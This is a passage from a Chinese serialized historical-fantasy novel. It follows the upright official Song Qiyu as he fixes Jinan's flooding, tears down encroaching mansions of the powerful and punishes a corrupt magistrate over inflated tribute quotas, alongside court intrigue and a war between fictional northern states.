此后的一段时间,那颗亮星一直挂在天边,而且越来越亮,甚至有七八天,其光芒都超过了初升时的太阳。直到同泰七年正月,曾经一度凌日的星光才渐渐暗淡,并最终消失在茫茫的银河中。 也是在这段日子里,宋启愚更加勤勉地工作。他开设绸缎布庄,建立丝织商行;整修水道陆路,扩建新式工坊;鼓励农耕生产,减轻百姓负担;加强治安管理,打击贪官污吏。他还在同泰六年十二月正式开办了魁星三学,并拨给土地一千亩做为学田,任命余允文为三学的首任学士。至此,宋启愚基本上实现了他在上任之初所制定的三大目标,即“治水修堤,繁荣经济和教化子民”。 而与此同时,北方的局势却起了变化。 自星光凌日发生后,草原上便流传着一种说法——宸星当空,北燕将亡。在这种情况下,乌利可汗迅速召集军队。他吸取了一年前的教训,在大周方向仅做防御,而将主力全部部属在北方,并发动了针对北燕的战争。由于之前,柔然已经向北燕的各个城池派出了奸细,又收买了一些北燕官员。结果在很短的时间内,柔然军队便连克兴安、白城、通榆、松原,并接近了北燕的都城——黄龙府。北燕章宗为避战火,一面匆忙迁都辽阳,一面派重兵死守扶州。他还分别向大周和朝鲜遣使求援,以期保住江山。 彤彤的炭火和袅袅的香烟把永春房燎得暖暖的,淡淡的脂粉和甜甜的酒香把人熏得懒懒的。同泰帝在一群宫娥的陪侍下,一边饮酒一边欣赏着姬妾婀娜的舞姿,很是快活。他略带醉意地对旁边说:“白显啊,朕看这永春房要容纳二百位美人是狭窄了些。等过了年,你就跟内大臣秦国勋和白晨他们商量着把这儿扩建成永春宫吧。”白显躬身答道:“奴才遵旨。”同泰帝又说:“现在,虽说国家富裕了,但也不能太过奢靡,免得那些个御史天天在朕面前聒噪,烦都烦死了。还有,管好你们的属下,手不要伸得太长。否则,朕可饶不了你们。”白显又一躬身说:“奴才谨记皇上训诫。奴才必定约束手下,不叫圣上费心劳神。”同泰帝搂住身边的姬妾,强灌了她们两杯酒,同她们嬉闹了一会儿,又对身后说:“白晨,北燕这次求救,你说朕该怎么答复呢?”白晨盯着前面的舞姬,乐呵呵地说:“一切都有陛下做主,奴才哪里懂得这些国事。”同泰帝轻轻扭头,白了白晨一眼说:“你这个糊涂蛋,就会装迷瞪。北燕这次求援,虽然言辞恳切,但所开出的条件却不如上次优厚。朕的意思吗,是强令北燕割让热河,否则,朕不但不会援助他们,还会直接出兵拿下朕想要的地方。”白晨赶紧迎合说:“陛下的意思是,用最小的代价换取最大的利益。高明,真是高明啊。怨不得老百姓都说皇上是千古圣主呢。奴才真是佩服得五体投地呀!”白显也在旁边溜须说:“陛下英明神武确实先贤难及。能伺候圣上,也是奴才的福气。”同泰帝嘿嘿笑着,没有再理两个奴才,而是伸手捏住一个美人的鼻子,把一大块苹果强行塞进她的嘴里,由着她在身旁咳嗽呻吟。一群宫娥见皇上高兴,纷纷凑上前来,张着嘴巴要求雨露均沾。同泰帝来者不拒,一边调笑一边端起果盘,把果子分拣着放进每一张樱桃小口里。 第二十三回5 星光凌日 同泰七年二月,由于得不到想要的答复,同泰帝随即下旨,扣留燕使,并命幽州节度使张洪涛组织军队,征伐北燕。 作为前线总指挥,又是在行伍中摸爬滚打了二三十年的宿将,张洪涛早就做好了军事准备。他先从山东调来一万城防军驻扎营州,又从幽州派出了两万边防军,加强檀州防御。在接到圣旨后,张洪涛还征调了包括马健东和席军民在内的数万边防军集结幽州,以期打一个大胜仗,报答皇帝和成王对自己的提拔重用。 这场战争毫无悬念,早已被柔然打得节节败退的北燕,根本低挡不住周军的进攻。张洪涛的大军,在一个月之内,接连攻克热河、建德、昌黎等州郡。其后,朝鲜也匆忙派出军队,想在平灭北燕的战争中,分得一些好处。 同泰七年六月,北燕都城黄龙府被柔然攻破。很快,扶州防线失守。接着,辽阳城也被柔然大军包围。燕章宗见民心离散,士气低落,内无良将,外无救兵,他走投无路,只得投降。燕章宗袒露上身,口含玉璧,手牵白羊,率领着一众官员,失魂落魄地走出了城门。乌利可汗骄傲地提马上前。他轻轻挥了一下马鞭,示意手下先行收缴了北燕的皇家印信,又命人接收了北燕的户籍账册。当燕章宗哆哆嗦嗦地宣读降书时,乌利可汗突然打断了他,说道:“我柔然与北燕俱处燕山以北,游牧、通商多有来往,帮扶、通婚世代不绝。今天,两国合并成一国,这是长生天所做的正确决定,也是白山黑水给予大柔然的丰厚恩赐。从此以后,北燕的人民就是我柔然的子民,北燕的土地就是我柔然的土地。所有北燕人只要安于本分,愿意为大柔然服务,我乌利保证他能拥有越来越多的财富,越来越多的奴隶,越来越大的权力和越来越好的明天。”后面的宰相摩柯莫和大将扎兰丁带头高呼“大柔然万岁!乌利可汗万岁!”十几万柔然骑兵跟随着高喊,那呼喝声声震寰宇,久久回荡在山河长空之间。其后,乌利可汗用马鞭指着燕章宗身后的白皮棺材说:“那是你给自己准备的吧?烧了它。你既已投降,本可汗便不会杀你。”跟着乌利的几十个侍卫,在可汗的授意下,把那口棺材抬到城边的空地上,点上火,焚烧了起来。随着火焰升腾,十几万柔然部队再次爆发出排山倒海般的呐喊声。 在接收了北燕的大部分领土之后,乌利可汗降封燕章宗为渤海候,并任命他为锦州都护,直接防卫来自大周朝的威胁。这位新任渤海候一方面感激乌利可汗的活命恩德,另一方面憎恨周朝见死不救、背后下手。他组织军民在锦州与松州之间修了大大小小三十几座堡垒。他还时常派出部队骚扰建德、昌黎一带,给周朝边境持续施加着压力。 打了大胜仗的张洪涛,在朝廷里迅速蹿红。同泰帝破格捡抜他为燕热宣慰使,并给他加了使相衔。所有参与此次北伐的有功人员也各有升赏,其中,马健东出任了滦州镇守使,席军民升任为张家口堡镇守使。 同泰七年末,那颗曾经挂在天边、光芒万丈的亮星又出现了。但仅仅一天后,那颗星就突然爆裂开来,并迅速暗淡消失。整个银河恢复了平静。 第二十四回1 出任济南知府 四年的时光转瞬即逝。同泰八年末,朝廷任命宋启愚为济南知府。 接到命令的宋启愚马上召集吴襄等人进行了商议。他决定让余允文留在襄阳,继续主持魁星三学;并让吴襄和余天锡从警巡队和炮队当中挑选出百余人,跟随自己赴任。接着,宋启愚一面跟各级属官交接工作,一面提前拨发了整修堤坝的银两;他又亲自探望了近百家为地方建设付出生命的烈士遗属;他还专门到贾洲村及其周边看望了生活在那里的丹阳移民。 知州大人调任的消息传开后,老百姓唏嘘哀叹。他们手捧家里做的吃食和积攒的银钱,抬着作坊里生产的绸缎和商品,举着雕刻泥金的青天牌匾,撑着写有乡民姓名和颂扬诗句的万民伞,成群结队地来到州衙。他们呼喊着,悲泣着,不断地表达对宋大人的感激之情。面对这种场景,宋启愚非常感动。他一次又一次出衙安抚百姓,劝慰大家。对于人们馈赠的物品,宋启愚只留下了老百姓自发制作的十几把万民伞。 正月十五早晨,天灰蒙蒙的,宋启愚带着家眷和从属走出州衙,北上赴任。衙门前,大批的百姓围在那里。人们先是踮着脚,攀着肩,热切地望着大人。而后,人们纷纷跪倒,强忍着泪水祝贺大人高升。宋启愚的心里热乎乎的,他向人们道了别,骑上战马往临汉门走去。百姓们跟在队伍后面,依依不舍。在北大街上,人们的目光随着宋启愚的队伍移动,人们的心情跟着宋大人的悲喜转变…… 官船载着宋启愚在汉江里驶出了老远,襄阳的官员和百姓仍然伫立在码头和堤坝上。他们望着船只开去的方向,挥手告别,掩面痛哭。是夜,人们冒着小雪,在汉江边上放飞了一盏盏孔明灯,希望能用那点点微光为宋青天照亮一段前程…… “二月春风入齐都,五龙甘泉大明湖。”同泰九年二月,宋启愚到任济南。象当年刚到襄阳一样,他没有立即下达政令,而是带着属官深入各个村镇了解人民的生活状况。他很快发现,济南的农耕条件更加优越,产业结构更为合理,人们的整体生活水平也更高一些,但社会矛盾也相当突出。 这一日,宋启愚带着水司主事杨澄、兵司主事胡时壮还有毛小等几名警巡到城北泺口视察黄河堤防。他指着远方的河道说:“咱们济南三面环山,一面临水。由于黄河的地势要比城墙低出不少,故而,来自北方的水患对我们威胁不大。”他转身问道:“杨主事,济南的七十二眼名泉你都去过吗?”杨澄答道:“宋大人,其实城内的清泉不止七十二眼。只是很多泉水喜欢静谧,再加上泉眼分散,所以,卑职只到过四十几处,不曾尽看。”宋启愚笑着说:“也是,光沿着曲水亭街、芙蓉街和城墙走一圈就能见到不少泉池呢。”宋启愚收起笑容,又说:“我从地方志上看,咱们城里年年内涝,你们想过是什么原因吗?” 第二十四回2 出任济南知府 胡时壮抢先说道:“大人,咱们济南水多,城中还有个大明湖,排水不畅也属正常。尤其是下了暴雨之后,水都聚在城中,很难流出,自然成涝。”杨澄也说:“胡大人说的不错。咱济南城确实存在这些问题。”这时,毛小插嘴说:“宋大人,还有个原因。这济南城被周围的历山、牧牛山、华不注山夹着,犹如处在盆底,一旦下雨,山上的水就会往盆底流,这水量可不小呀。”宋启愚点点头说:“你们说的都对。那么这个问题能解决吗?”杨澄说道:“前任知府巩大人也曾经开挖过大明湖,但收效甚微。听说,二十多年前,有位大人曾想挖掘一道明渠,用于排水。不过还没开建,他就调任了。以后也就没人再提这事了。”宋启愚略一思索,斩钉截铁地说:“内涝问题一定得解决。咱们刚才路过的那条小清河,离大明湖只有四五里,我看河道也不窄。旁边还有一里多长的一段干沟。若在护城河或大明湖与小清河之间挖一条引流渠,春天辅助灌溉,夏秋排水排涝,岂不是一举数得吗?现在离盛夏多雨季节还有三个多月的时间,如果抓紧些,今夏便能让老百姓脱离苦海。杨主事,明天你就召集属吏和工匠,商量商量,然后勘察挖掘线路,制定开掘方案,征召民夫,开挖沟渠。”杨澄恭敬地拱手说:“卑职领命。大人做事雷厉风行,真乃我辈之楷模。”宋启愚又说:“给民夫的餐食标准可以适当定高一些。民夫们吃饱了,才有力气干活呀!” 几个人又向前走了一段。毛小凑到宋启愚耳边嘀咕了几句。宋启愚转头问道:“康恩,姚凯,你们在大明湖边上见过阻塞水道的房子吗?”后面跟着的两名警巡赶紧回答道:“有的,大人。”一个警巡向前走了两步,说道:“大明湖西边,有十几所宅院,直接把亭榭修进了湖里。姚凯在湖的南边也见过这样的房子。另外,我跟毛小在曲水亭街还见过侵占河道的房舍。”姚凯陪着笑补充说:“大人知道,我们几个都参加过魁星三学的短训。我们想着,这些房子建的位置,势必影响水流通畅,所以,才向大人禀告。”宋启愚转过身来,微笑着说:“看来,你们的书没有白念,长进不小吗!”宋启愚又问杨、胡二人:“两位大人,这种情况你们清楚吗?”胡时壮略一迟疑,说道:“大人,确实有些大户觉着湖景优美,便把花园和亭榭建在了湖边。有些房子也的确影响排水。”杨澄眼珠转了转说:“大人,这些在湖边和水道上建房的可不是普通人家呀。其中有山东巡抚单大人、工部侍郎魏大人的亲族,还有齐王殿下的姨母,您可得三思呀!”宋启愚站在原地想了一会儿,坚定地说:“只要这些府邸真的阻塞了河道,造成了城内积水,本官就得想办法拆了他们的房。”接下来,他快速地说道:“杨主事,回去后,把城内的建筑规划图找出来给我。然后,你专司挖渠工程,别的不用管。等会儿,毛小去找户司张主事,让他带着城内的鱼鳞图册来见我。康恩、姚凯你们带几个人这两天再顺着城内的几条明渠查一查,看看究竟有多少家的房子影响排水。好了,今天就到这儿,我们先回城。”说完,宋启愚也不等众人回话,便大踏步地向车马走去。 第二十四回3 出任济南知府 康恩等人仅用了两天便把影响排涝的建筑查了个一清二楚,还得到了宋大人的一番夸奖。傍晚,毛小央求着吴襄来见宋启愚。他笑着问道:“大人,您是否想好了,怎么拆除这些违章建筑?”宋启愚抚着额头说:“确实有些棘手。这里面一共牵扯到八十多户人家,与朝廷重臣有关联的就有十几户。咱不能硬来,得想个稳妥的办法。”他看毛小迟疑,又解释说:“我想先通报齐王殿下。若能得到殿下的支持,其他各家自不在话下。只是,如何说动齐王,我还没有想好。”吴襄一拍大腿说:“毛小,你小子还真行!快给大人详细说说你的想法。”毛小向上一拱手说:“大人,前次我们跟您进京面圣的时候,听人们街谈巷议关于三王争宠的事。为此,我还专门请教过再造大人。童大人说得比较隐晦,但我的理解是豫王嫉妒心重,爱排挤政敌;齐王表面上很仁德,但背地里却很阴险;而成王自恃有军功,处处逞强。大人试想,那齐王既然总是想表现出宽厚,您给他一个‘抑制豪族、爱护百姓’的名头,他巴望还来不及,又怎么可能驳回您的请求呢?再者,只要大人拿到了齐王首肯的文书,昭示全城,还有谁敢跳出来反对?防涝工程结束后,若大人能在奏折本里颂扬齐王一番,齐王也一定会记住大人的好处,将来对大人也会青眼相加。”宋启愚上下打量着毛小,欣慰地说:“孺子可教。虽然你读的书不太多,但悟性极高,是个可造之材呀!”宋启愚顿了顿,又说:“我已经斟酌着写了个信稿,只是,这信使……”吴襄上前努努嘴说:“宣道,眼前不就有个合适的人吗。”宋启愚抚掌大笑说:“不错,就派毛小去。你带上小伍子,嗷,他现在叫伍名。你们明早来找我,我把正式文书交给你们。记住,进京后,你们先去找再造大人,让他把你们引见给齐王。若不好见的话,也可以先去见扬王,再见齐王。”毛小跪倒说:“毛小遵命。我保证完成任务,不负大人嘱托。” 十几天后,济南的各个城门道口都贴出了府衙的告示,旁边还附有齐王石坚的手令抄件。就在人们议论纷纷的时候,齐王姨母的府邸率先拆除了建在大明湖畔的花园围墙。这下,所有占用了水道湖面的大户都慌了神。宋启愚又亲自带着户司和水司的官吏,沿着城内的排水通道划定了界线,规定了时间,下达了拆除全部违建的通知。那些存在私搭乱建现象的住户见政令坚决,不敢硬挺,被迫开始清理自家建筑。多年来,深受内涝之苦的济南百姓,见新知府强拆了这些自己惹不起的大户人家的房,心里很是痛快。至五月末,城内的违建基本拆除干净,城北的排水渠也即将挖通。为了方便明渠两侧的居民通行,宋启愚还下令在水渠上架起了五座桥梁,并以人伦五德将其命名为“明仁桥”、“明义桥”、“明礼桥”、“明智桥”和“明信桥”。 第二十四回4 出任济南知府 这一天,宋启愚刚刚回衙,就见户司主事张东升拿着文书进了屋。张东升施礼后,说道:“大人,这是朝廷刚给咱们下达的贡物指标,请大人批准。”宋启愚接过文书略略看了一遍,皱起眉头说:“要进贡二百多套木鱼石茶具?是往年都这么多,还是就今年多呢?”张东升拱手说:“回大人,木鱼石俗称‘还魂石’、‘凤凰蛋’,用它做的器具不但有天然木纹,而且有玉石光泽,越用越亮,还可护佑众生、辟邪消灾,所以,每年都要向朝廷进贡,只是所贡数量每年不同。前些年,最少的时候只需要进贡三四十套,中间有几年,要进贡三百多套,这几年基本上都是二百多套。”宋启愚略一思索,问道:“这木鱼石可是产自长清馒头山一带?”张东升点头说:“正是。大人也知道它的产地?”宋启愚站起身说:“我在工部任员外郎时,曾见过这种石具。刚到任时,还有官绅欲用此物结好与我,但被我婉言谢绝。我在襄阳亲自采过石头,知道这里面的艰辛。更不要说这种稀少的石料,采集和雕刻的时间和成本都要大许多。”宋启愚又仔细看了看手里的文书,说道:“不对呀,这不是朝廷发来的原件,是经过部院和省里转发的文件。原始文书在哪里?”张东升作了个揖说:“不瞒大人,下官在户司任职十六年,只是在做书吏的时候见过一次原件,其它各次俱是转抄件。下官为此也问过巡抚衙门,结果,他们拿出的也是转抄件。不过,不过……”宋启愚微微一笑说:“是不是他们拿出的文件上显示,朝廷要的贡物比二百件少啊?”张东升又一拱手说:“不错,大人真是睿智。那文书上只要求咱们进贡一百套茶具。”宋启愚轻轻咬了咬牙,说道:“明白了。这是各级官府利用征收贡赋的机会为自己捞好处。我在工部和襄阳遇到过这种情况。你拿来的文本先压在我这儿。本官这就行文户部,向他们讨要文书原件。以后,但凡征收贡物、税赋,必须拿来朝廷下发的原始文本,否则,本官概不签字。”张东升称了声是,行了个礼,正欲退出。宋启愚又叫住他说:“张主事,等排水渠完了工,你把户司的官吏召集一下,我带着你们到长清一带考察考察。” 在一片苍翠的小山中,分布着一个个灰白色的大坑,那就是馒头山的采石场。上百名工匠正在采石场忙碌着。宋启愚领着二十几个下属,沿着山道缓步上行。因天气炎热,有些官吏刚走出一小段就大口大口地喘起了粗气。宋启愚也不理会,继续迈开大步在前面走着。进了采石场,空气的味道变得刺鼻,飘飞的砂尘也多了起来,路边、树上和工棚屋顶都落着一层厚厚的“白霜”。这时,几个穿粗布衣服的工匠从场地里面飞跑过来。 第二十四回5 出任济南知府 他们离得老远就跪伏于地,哆哆嗦嗦地喊道:“小人叩见青天大老爷。”他们又向前跪爬了几步,磕着头说:“小人们也给各位老爷见礼。”先前上去喊他们的小吏跑到宋启愚面前,也跪下,陪着笑脸说:“大人,这几位是咱矿上的工头,说话粗,没见过世面,还请知府大人和各位老爷担待。”宋启愚伸手把他拉起来,说道:“谢矿监,起来吧。你们几个,也起来回话。”他见几个工头战战兢兢、点头哈腰的样子,微微一笑说:“我看时已近午,你们去通知矿工们歇了开饭吧。”谢矿监见几个工头发愣,怒骂道:“你们的耳朵塞驴毛了!没听见大人吩咐吗。快去叫大伙都歇了。”几个工头这才飞奔着去通知停工。宋启愚又问:“咱们采石场有多少人?每年能采多少木鱼石?”矿监弓着身子说:“咱这山上一共开了十二个矿坑,每个石场有八九十个劳力。这周边的七个村子,几乎每家的男丁都在矿上干活,也有个别有雕刻手艺的去了县里做石匠。嗷,对了,大人们昨天去考察的作坊就是。”他拍了拍自己的嘴巴,又说,“您瞧我这嘴,又说到县里去了。大人刚才问这个,这个,每年啊,我们这儿能采出可用的木鱼石一千多块。但是真正能打磨成型,雕刻精美的上等茶具也就二三百套。那一年,朝廷给我们下了三百五十套的任务。俺们县令就让工匠们没日没夜地赶工,结果累死了好几个人咧……”这时候,跟在宋启愚身后的一个矮个黑胖子干咳了几声,陪着笑说:“大人莫怪,那都是前任县令王大人做的事。下官到任这两年,专门拨了款子,改善了石匠们的生活,请大人明察。”宋启愚微微转身,说道:“那好哇。弓大人,咱们去尝尝工匠们的饭食,如何?”在官吏们错愕的眼神注视下,宋启愚让矿监带路走向了一间半开放式的工棚。工棚前,陆续聚集了四五十个衣不蔽体的矿工。谢矿监大声呵斥道:“你们还不跪下磕头。这是新任济南知府宋大老爷,专门来体察民情的。”矿工们从来没有见过这么大的官,“扑扑通通”跪了一片。宋启愚赶忙制止道:“快起来,快起来。你们干了半天体力活儿,都快歇一歇。本官这就让人给你们盛饭。”他走到几个满头石头渣子的矿工跟前,俯下身子,亲切地问:“你们每天在矿上干几个时辰活儿?能领多少工钱?”有个矿工先用手把鼻子里的石渣抠出来,大着胆子说:“小人们不知道时辰,就是天亮了来,快天黑工头才让走,每天能挣五到十个大钱。要是运气好,发现了成片的好石头,还能多挣几个。”宋启愚又问:“木鱼石好挖吗?”另一个矿工接着话头,说道:“这石头硬度大,有些石头个头也大,得几十个人一点一点把它刨出来,又不能太着急,怕把宝贝碰坏了,是个力气活儿咧。”宋启愚接着问道:“矿上的饭食怎么样?能吃饱吗?”几个矿工憨厚地笑笑说:“流了汗吃啥都香。就是少了点,将将填上肚子。” 第二十四回6 出任济南知府 这时,几个工头帮着做饭的把饭食抬到了工棚前的空地上。一个工头吆喝着:“都站好了,站好了,每人两个黑面馍。矿上今天再给每人增加一疙瘩咸菜。一个一个来领啊。”宋启愚示意眼前的矿工也去排队。他转身来到属官们跟前,对他们说:“今年,朝廷要我们进贡五十套茶具。你们这两天也看到了,生产一套木鱼石用具要耗费多少人工。咱们不能拿矿工和石匠们的血汗去孝敬那些恶吏。从今往后,济南要严格按照朝廷规定的数额进贡。至于每年多生产出来的成品,可以卖给那些富户,用赚到的钱补贴矿工和百姓们的生活。”宋启愚转头叫申鲤去拿来两个黑面馒头。他先掰下一块放进嘴里嚼嚼咽了,又让官员们拿着馒头分食。他说道:“这馒头已经馊了,吃进嘴里又酸又涩,有几位大人刚咬了一点就吐了出来,可你们看一看,矿工们吃得是多么香甜!本官不是想难为你们,只是要你们记住这种饭食的味道,要你们在吃山珍海味之前,想一想你们治下的百姓过的是什么样的日子。”他又转脸问长清县令:“弓知县,你刚才说‘专门拨了款子,改善了石匠们的生活’,难道就是这样改善的吗?你到任本县两年了,一次工坊没去过,一次矿山没上过,一个工匠不认得,一点工夫没下过,还大言不惭地说自己多么多么了解情况。你做为县令,让手下人每年向工坊讨要三十套茶具是怎么回事?你名下的上等好地光上一年新增了一千多亩,你怎么解释?你是进士出身,读过那么多圣贤书,就是这么理解圣人教诲的吗?”面对指责,弓知县跪在地上,一再谢罪。宋启愚看着他,气愤地说:“来人,摘了他的银鱼,夺了他的印信。本官先将你停职,等查证完毕,我再参奏于你。”申鲤和姚凯冲上前来,不由分说便把长清知县的凭证收了过去。宋启愚又命令道:“张东升,你先来代理这里的知县。朝廷下达的指标要完成,老百姓的生活更要改善。对于那些假公济私、盘剥敲诈、为非作歹的恶吏,你尽可以大胆地处置。对于有些不合理的制度,你也可以立刻废止。”张东升跪倒在地,接受了任命。而后,宋启愚又带着众人看了两处采石场,还向张东升反复交代了今后的工作重点,才领着属官返回了济南。 宋启愚疏通水道不畏权贵、拒交贡赋硬扛朝廷、考察矿场制裁贪官的事传开后,济南府的人都明白了新任知府是个有背景的狠角色。宋启愚各项政令的推行变得容易起来。 七月中旬的一个下午,舜田门外开来了一支特殊的车队。四辆蒙着青布、插着“肃静”、“回避”旗牌的马车,在九名手执翎毛的骑士引导下,威风凛凛地进了济南府。这支车队穿街过巷,来到位于大明湖南岸的府学文庙大门前。就听一个骑士高声喊道:“赶快打开中门。进去通报,叫你们学政铺红毯、排仪仗,前来聆听至圣公爷的教谕。”府学门前的执事不敢怠慢,一边叫人开门,一边派人进去报信。 第二十四回7 出任济南知府 须臾,一个身穿七品官服的中年男人手捧文书从车里钻了出来。他带着从人径直走到至圣先师殿前站定。不大的功夫,随着雅乐鸣奏,七十二人的仪仗队列从文庙内院迎出,顺着甬道一字排开。其后,四名身穿红色公服的官员在一众身穿七八品服色官员的簇拥下走到大殿前。众人恭恭敬敬地整理好衣冠,倒身下拜。一位四品官员开口道:“学生山东学政苗国祯率全体学官恭聆公爷教谕。”中年男人展开文书,朗声读道:“夫子何为者,栖栖一代中。尔等既为先师门生,当知至圣传道不易。八月二十七日,乃先圣诞辰,届时本公将在圣人遗冢举行隆重的祭奠仪式。特宣谕山东巡抚、山东布政、山东学政、济南知府、济南学政及府署在济南的圣人门生前往曲阜参加盛典,祭祀先师……”宣读完教谕,中年男人郑重地将文书贡进大殿内,出来后才笑着冲众人拱手说:“各位大人请起。颜春霖见过各位同门。”苗国祯起身后,亲热地挽住颜春霖的手说:“师兄一路车马劳顿,很是辛苦。请到后堂用茶,咱们兄弟好好叙谈叙谈。”颜春霖一边迈步一边微笑着说:“一年不见,苗师弟的气色越发的好了,我心甚慰啊。不过,颜某一个芝麻小官怎么能跟苗大人对饮呢?”苗国祯痴痴笑着说:“师兄又取笑小弟。天下人谁不知道曲阜的官不是朝廷任命的,而是公爷提点的。师兄虽为曲阜学政,但若论才学远在我辈之上。您的学生得中三鼎甲的就有两人,更不要说进士、贡生了。小弟能与师兄为伍,实在是苗某的荣幸。”颜春霖听苗国祯这么说,心里很舒服。他叫过身后的一个年轻人,吩咐道:“礼儿,还不快给你苗师叔见礼。”那年轻人抢步上前,给苗国祯磕了头。苗国祯双手相搀,说道:“莫非这就是颜兄家的三公子学礼贤侄?早知道令郎聪颖绝顶,今日一见,果然是一表人才呀!”颜春霖呵呵笑着说:“不瞒老弟,我这三个儿子就属此子天分最高。明年正赶上恩科大比,他也年满十八,我打算让他进京去参加科考,给至圣公爷拿个状元回来。”苗国祯故作钦佩状,啧啧称赞说:“颜兄真是教子有方呀。你那长子学仁、次子学义俱是进士出身,要是三子再中了状元,那可真是别的书香人家望尘莫及的啊!” 几个人说着来到了后堂。落座献茶后,苗国祯说道:“师兄,我记得学仁贤侄是同泰二年的进士吧?”颜学礼站在父亲身后,抢先答道:“师叔说的不错。家兄是同泰二年的二甲第八名。”苗国祯又说:“这倒巧了,现任济南知府宋启愚乃那一科的探花,与学仁贤侄是同年。”颜春霖脸上掠过了一丝不易觉察的鄙夷。他笑笑说:“既然中的是一甲,想来是有些才学的。明日,宣他们聆听公爷教谕,好生对待也就是了。” 第二十四回8 出任济南知府 颜学礼明白他父亲是有些看不起这位知府。他灵机一动,俯身说:“父亲,文章写得好也未必有真才实学。公爷不是让您带来一些书籍赏给这些官员吗?”颜春霖一皱眉说:“那是公爷教化众官多多开卷,好好读书,莫忘圣人之言的。”颜学礼嘿嘿一笑说:“父亲,那孩儿替公爷选一部书颁给这位探花如何?”颜春霖略一顿挫,说道:“你这小儿,非要缠着来济南,为父应了你,这会儿又不安生了?”苗国祯在旁怂恿道:“师兄不必阻拦,先看看贤侄想选什么?”颜学礼又笑了笑说:“父亲可以把您正在看的《霍光传》赏给他。”颜春霖嘴角微微上翘,旋即沉下脸说:“小儿无理,怎能这样取笑。”他看苗国祯一头雾水,便解释道:“苗大人不知,我这儿子喜诙谐,爱胡闹,常常凭借才学暗喻他人。别人不知不觉间,便被他辱骂。那《霍光传》中有这样一句‘然光不学无术,暗于大理’。他这是在骂那位宋大人不学无术呢!”苗国祯听后哈哈大笑,鼓掌说:“贤侄真是有趣。霍光乃一代名臣,立有大功业。以此书相赠其实也没有什么不妥。师兄就这么做,敲打敲打这位父母官,不要让他自满,说不定日后还能成为美谈呢!” 第二天晚上,宋启愚回到后宅。他先到东厢房检查了儿子承宇的功课,又回到正房抱着承宸逗着玩了一会儿。韩丽华给丈夫端上茶点,又拧了个湿手巾帮着宋启愚擦了手和脸,才笑嘻嘻地说:“老爷今天怎么这么高兴?有啥喜事吗?”宋启愚指着放在桌子上的《霍光传》说:“今天接待了至圣公的使者。那位颜学政替至圣公赏赐了这部书,并通知我下个月到曲阜参加祭孔大典。”韩丽华摸了摸那部书,歪着脑袋说:“圣人的祭典一定非常隆重,老爷可得去先师坟前拜一拜。这至圣公赏的书,也是老爷的荣耀,咱们得把它供起来,以铭记至圣公的恩情。”宋启愚笑着摆摆手说:“夫人不知,这是公爷在跟我开玩笑呢。收起来就行了,供奉却没有必要。”韩丽华眨着大眼睛,不解地问:“那是为啥?以前程熹先生送你的东西,你不是还供着的吗?”宋启愚呵呵笑着说:“你翻开折着的那一页,至圣公是在暗示我‘不学无术’,没有本事。”韩丽华翻看书本后,气得柳眉倒竖。她咬着牙说:“这,这是圣人该做的事吗?我家老爷何等样人,却要遭他耍弄,真是岂有此理!”宋启愚抱着承宸走过来,说道:“夫人不必动怒。在我看来,逞口舌之能,图一时之快,都不过是耍小聪明罢了,于国于民有何益处?对待这样的行为,我并不放在心上,只是一笑而过。其中是非,日后自有公论。夫人也可放宽心肠,不必计较。” 过了两天,颜春霖办完了差事,准备返回泰安。颜学礼还想在济南再游览几天,便央求父亲将他留下。颜春霖拗不过儿子,就找到苗国祯,让他代为安排。苗国祯满口答应,并于颜春霖离开济南当天,把颜学礼请到自己府侧的客舍居住。 岂料,世事无常,命运多舛。正因这位颜公子逗留济南,才给自己惹下了榻天大祸。 第二十五回1 知府破奇案 济南的美来自天然,山在城南,湖在城北;四季变幻,五彩斑斓;历史悠久,文化如歌;再加上淳朴的百姓、热情的商贾、繁华的街道、美味的食物;颜学礼置身其中,好不喜欢。父亲回曲阜后,这个年轻人更加自由。除去晨昏读书的习惯不改外,他整日投身到济南的山水间,纵情游乐,很是快活。 七月下旬的一天,颜学礼带着书童登上历山欣赏山色。他先参观了兴国禅寺,又游览了历山院。由于天气炎热,在一览亭远眺了泉城美景之后,颜学礼没再爬山,而是快步行至一挂小瀑布前。他先洗去满脸热汗,又掬着清水美美地喝了几口。一丝快意涌出毛孔,他长长地舒了口气,半躺在山荫里的石头上,休息纳凉。过了一会儿,不远处传来一阵女子的嬉笑声。颜学礼抬头细瞧,但见一位漂亮的姑娘正在野花丛中追捕着蝴蝶。在蓝天白云、绿树青山、繁花红墙的映衬下,那姑娘轻盈跃动,就如花间仙子一般。颜学礼看直了眼,嘴巴也张得好大。旁边的书童看主人这副模样,讨喜说:“公子,公子,要不,咱们去问问那是哪家的姑娘?”颜学礼先是含糊道:“好呀!你去,你去。”旋即,他又摇头说:“不可,不可,我不是轻薄之人。”这时,那姑娘似乎也看见了颜学礼。她先用团扇挡住了脸,又惊惧地跑到花丛旁的一位老夫人身边,央求着要下山去。老夫人缓缓地站起身,在姑娘和几名丫鬟的搀扶下向山道走去。临走之前,姑娘回眸一笑,扰得颜学礼春心荡漾。 此后的两天,颜学礼食不甘味,脑海中总是浮现出那姑娘的面容。 在又一日晨读之后,颜学礼盘算着要到普利街去逛一逛,便叫了书童,往客舍外走去。就在主仆二人来到门外的时候,打对面府邸出来几位女眷。之前,苗国祯向颜学礼介绍过,对门住的是山东刑司员外郎寇惟谦一家。出于礼貌,颜学礼站定躬身,让对方先行,但他的目光却好奇地向前瞟了一眼。一看之下,颜学礼的心“扑通扑通”上下乱跳,对面走出的轻盈女子不正是自己见过的花间仙子吗?恰巧,那女子也在看他。四目相对后,那姑娘脸一红,又甜甜地一笑,跟着老夫人上车去了。颜学礼痴痴地向前走了两步,想说点什么,可又不知如何开口。骡车开动,颜学礼跟随了几步,站在街上望着车尾发呆。恰在此时,车窗的纱帘挑开了一半。那姑娘脉脉含情地看了看颜学礼,又用手帕轻轻擦了擦鼻尖,接着,她把手绢偷偷丢到了车外。颜学礼看在眼里,喜在心中。他紧走几步捡起手帕,但见帕子上绣着两朵并蒂莲花,旁边还绣有两个小字——开颜。他一下子明白了,这位姑娘应该就是寇府的小姐寇开颜。他转头对书童说:“我颜家与寇家俱为书香门第。既然开颜小姐对我有意,我应想办法与其见一面,诉说衷肠,然后回禀父亲,上门提亲。” 第二十五回2 知府破奇案 其后,颜学礼命书童候在客舍外,单等寇小姐回府时,再找机会联络。到了下午,书童高高兴兴地跑进屋来,向主人报告好消息。他说小姐的贴身丫鬟跟他讲,今夜三更开颜小姐邀请公子到寇府一见。颜学礼兴奋得坐卧不安。以至于用晚饭时,他仅吃了几口,便向苗国祯告谢,回了客舍。 